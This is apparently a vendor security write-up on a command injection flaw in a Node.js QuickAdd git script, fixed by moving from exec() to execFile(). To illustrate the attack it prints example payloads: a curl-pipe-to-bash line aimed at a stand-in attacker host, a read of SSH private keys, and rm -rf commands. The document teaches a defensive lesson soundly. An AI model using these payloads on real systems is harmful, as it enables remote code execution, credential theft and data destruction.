How Command Injection Happens in Node.js child_process Calls and How to Fix It
The Vulnerability at a Glance
| Field | Detail |
|---|---|
| Vulnerability | Command Injection via child_process.exec() |
| CWE | CWE-78 — OS Command Injection |
| Language | JavaScript (Node.js) |
| Risk | Arbitrary OS command execution |
| Root Cause | User input interpolated into shell command string |
| Fix | Replaced exec() with execFile() using argument array |
Introduction
The Config/QuickAdd/git-add-new-origin-branch.js file is a QuickAdd script that prompts a user to enter a Git branch name and then pushes that branch to a remote origin. It sounds simple — and it is — but a subtle flaw in how the branch name was handed off to the operating system created a high-severity command injection vulnerability.
At line 9, the original code did this:
const pushStatus = await child_process.exec(
`git push origin ${brachName}`,
{ cwd: basePath }
);
The variable brachName comes directly from params.quickAddApi.inputPrompt("输入分支名") — a free-text prompt where a user types a branch name. That string was then embedded verbatim into a shell command using a template literal and handed to child_process.exec(). This is the textbook setup for OS command injection.
The Vulnerability Explained
Why child_process.exec() Is Dangerous With User Input
child_process.exec() in Node.js works by spawning a shell (/bin/sh on Unix, cmd.exe on Windows) and passing the entire command string to that shell for interpretation. This is convenient because it lets you write shell pipelines and use shell features — but it also means the shell will faithfully interpret every metacharacter in the string, including ones that come from user input.
When brachName is substituted into the template literal:
`git push origin ${brachName}`
the resulting string is handed to a shell as-is. If brachName contains shell metacharacters, the shell will act on them.
A Concrete Attack Scenario
Imagine a user (or an attacker with access to the QuickAdd prompt) enters the following as their "branch name":
main; curl https://attacker.example/shell.sh | bash
The command string that reaches the shell becomes:
git push origin main; curl https://attacker.example/shell.sh | bash
The shell sees two commands separated by ; and executes both. The git push runs normally, and then the attacker's shell script downloads and executes. The injection is silent from the application's perspective — pushStatus might still resolve successfully.
Other payloads are equally damaging:
main && cat ~/.ssh/id_rsa > /tmp/leak && git push origin /tmp/leak
main $(whoami)
main `rm -rf ~/Documents`
All of these work because exec() never questions what the shell does with the string it receives.
Why This Matters Here
This script runs with the privileges of the user executing the Obsidian/QuickAdd plugin environment. On a developer's machine, that typically means access to source code, SSH keys, environment variables, cloud credentials, and more. Even if the prompt is only shown to the local user today, the pattern is an exploit primitive: any future code path that feeds data into brachName without going through the prompt (e.g., from a config file, a URL parameter, or a synced plugin setting) would immediately become exploitable.
The Fix
Before: Shell Interpolation with exec()
// VULNERABLE: brachName is interpolated into a shell command string
const pushStatus = await child_process.exec(
`git push origin ${brachName}`,
{ cwd: basePath }
);
After: Argument Array with execFile()
// SAFE: brachName is passed as a discrete argument, no shell involved
const pushStatus = await child_process.execFile(
"git", ["push", "origin", brachName],
{ cwd: basePath }
);
Why This Fix Works
child_process.execFile() does not spawn a shell. Instead, it executes the specified file ("git") directly and passes each element of the argument array as a separate, literal argument to the process. The operating system's execve() syscall receives:
argv[0]→gitargv[1]→pushargv[2]→originargv[3]→ whateverbrachNamecontains, verbatim
If brachName is main; rm -rf /, Git receives the literal string main; rm -rf / as the branch name argument. No shell ever sees it. Git will simply fail to find a branch with that name — no commands are injected, no shell metacharacters are interpreted.
This is the correct architectural fix: eliminate the shell, rather than trying to sanitize input against an ever-evolving list of dangerous characters.
Behavior Preservation
Valid branch names — alphanumeric strings, hyphens, slashes (e.g., feature/my-branch) — pass through execFile() identically to how they passed through exec(). The change is transparent to users with legitimate branch names and only blocks malicious input.
Prevention & Best Practices
1. Prefer execFile() or spawn() Over exec()
Whenever you need to run an external process in Node.js and you don't specifically need shell features (pipes, globbing, environment variable expansion), use execFile() or spawn() with an argument array:
// AVOID — shell is invoked
child_process.exec(`git commit -m "${userMessage}"`);
// PREFER — no shell, arguments are literals
child_process.execFile("git", ["commit", "-m", userMessage]);
2. Validate Input as a Secondary Defense
Even with execFile(), it's good practice to validate that a branch name looks like a branch name before using it. A simple allowlist regex:
const BRANCH_NAME_RE = /^[a-zA-Z0-9._\-\/]{1,200}$/;
if (!BRANCH_NAME_RE.test(brachName)) {
throw new Error("Invalid branch name");
}
const pushStatus = await child_process.execFile(
"git", ["push", "origin", brachName],
{ cwd: basePath }
);
This provides defense-in-depth: even if a future refactor accidentally re-introduces a shell, the regex blocks the most dangerous payloads.
3. Use Static Analysis to Catch This Early
The Semgrep rule javascript.lang.security.detect-child-process.detect-child-process detects exactly this pattern — calls to child_process functions where arguments include non-literal (potentially tainted) values. Add it to your CI pipeline:
# .github/workflows/security.yml
- name: Semgrep scan
uses: semgrep/semgrep-action@v1
with:
config: "p/javascript"
4. Follow the Principle of Least Privilege
Scripts that invoke shell commands should run with the minimum privileges necessary. If a QuickAdd script only needs to push to a Git remote, it shouldn't run as a user with access to SSH keys for unrelated systems.
5. Relevant Standards
- OWASP: Command Injection Prevention Cheat Sheet
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- Node.js Docs:
child_process.execFile()
Key Takeaways
-
child_process.exec()with template literals is almost always wrong. The moment you interpolate a variable into that string, you've potentially opened a shell injection path. Ingit-add-new-origin-branch.js, the single line`git push origin ${brachName}`was the entire vulnerability surface. -
execFile()eliminates the shell, not just the risk. The fix doesn't add sanitization on top of a dangerous pattern — it removes the dangerous pattern entirely. This is the correct approach. -
User prompts are user input.
inputPrompt()collects free-text from a human. Even in a "trusted" desktop plugin context, that input must be treated as untrusted data before it reaches a system call. -
Exploit primitives matter even when not immediately exploitable. The
exec()+ template literal pattern is a building block for exploitation. Automated attack tools can chain it with other weaknesses. Removing it proactively raises the cost of any future attack. -
A one-line change can close a high-severity finding. Swapping
exec(``git push origin ${brachName}``)forexecFile("git", ["push", "origin", brachName])is a minimal, behavior-preserving change that completely neutralizes the injection vector.
How Orbis AppSec Detected This
- Source: User-supplied branch name collected via
params.quickAddApi.inputPrompt("输入分支名")— a free-text input with no format restrictions. - Sink:
child_process.exec(\git push origin ${brachName}`, { cwd: basePath })at line 9 ofConfig/QuickAdd/git-add-new-origin-branch.js` — a shell-invoking function receiving tainted data via string interpolation. - Missing control: No shell-metacharacter sanitization, no allowlist validation of
brachName, and use ofexec()(which invokes a shell) rather thanexecFile()(which does not). - CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
- Fix: Replaced
child_process.exec()withchild_process.execFile("git", ["push", "origin", brachName]), eliminating shell interpretation of the user-supplied argument.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The vulnerability in git-add-new-origin-branch.js is a textbook example of why child_process.exec() and string interpolation are a dangerous combination in Node.js. The fix is elegant in its simplicity: by switching to execFile() and passing brachName as a discrete array element rather than embedding it in a shell string, the shell is removed from the equation entirely. No shell means no shell injection — regardless of what characters the user types.
For developers writing scripts that invoke external tools, the lesson is clear: reach for execFile() or spawn() by default, reserve exec() only for cases where you genuinely need shell features, and never interpolate user input into a shell command string. Static analysis tools like Semgrep can enforce this pattern automatically, catching these issues before they ever reach a code review.